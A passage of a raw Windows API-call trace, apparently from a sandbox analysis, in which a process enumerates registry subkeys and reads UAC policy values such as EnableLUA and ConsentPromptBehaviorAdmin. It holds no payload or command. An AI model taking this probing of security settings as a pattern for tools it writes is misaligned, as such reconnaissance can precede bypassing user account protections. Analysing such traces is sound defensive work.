cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x30c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0035.315] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x30b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x30c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0035.315] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x30b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x30c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0035.315] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x30b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0035.315] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x30b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0035.315] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x30b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x30c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0035.315] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x30b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x30b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x30b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x30b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x30b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x30b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x30c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x30b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x30c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0035.316] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x30b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x30b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x30b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x30c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x30b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x30c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x30b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x30b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x30c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x30b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x30c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x30b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0035.317] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x30b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x30c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0035.318] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x30b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x30c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0035.318] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x30b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x30c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0035.318] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x30b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0035.318] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x30b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0035.318] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x26f79c | out: phkResult=0x26f79c*=0xa0) returned 0x0 [0035.318] RegCloseKey (hKey=0x24) returned 0x0 [0035.318] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x30b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0035.318] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x30b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0035.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x30c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0035.319] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x30b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x30c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0035.319] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x30b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0035.319] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x30b930, cchName=0x104 | out: lpName="System") returned 0x0 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x30c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0035.319] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x26f79c | out: phkResult=0x26f79c*=0x24) returned 0x0 [0035.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b930) returned 1 [0035.319] RegCloseKey (hKey=0xa0) returned 0x0 [0035.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b860) returned 1 [0035.319] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30b860 [0035.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b878 [0035.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.319] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b888 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b898 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b930 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1b0 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x30b940 [0035.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b860) returned 1 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b860 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b968 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c240 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b978 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b988 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c2d0 [0035.320] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x30) returned 0x30b998 [0035.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b940) returned 1 [0035.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30b940 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c318 [0035.321] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x26f6a8, lpcchValueName=0x26f6a4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x26f6a4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0035.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, 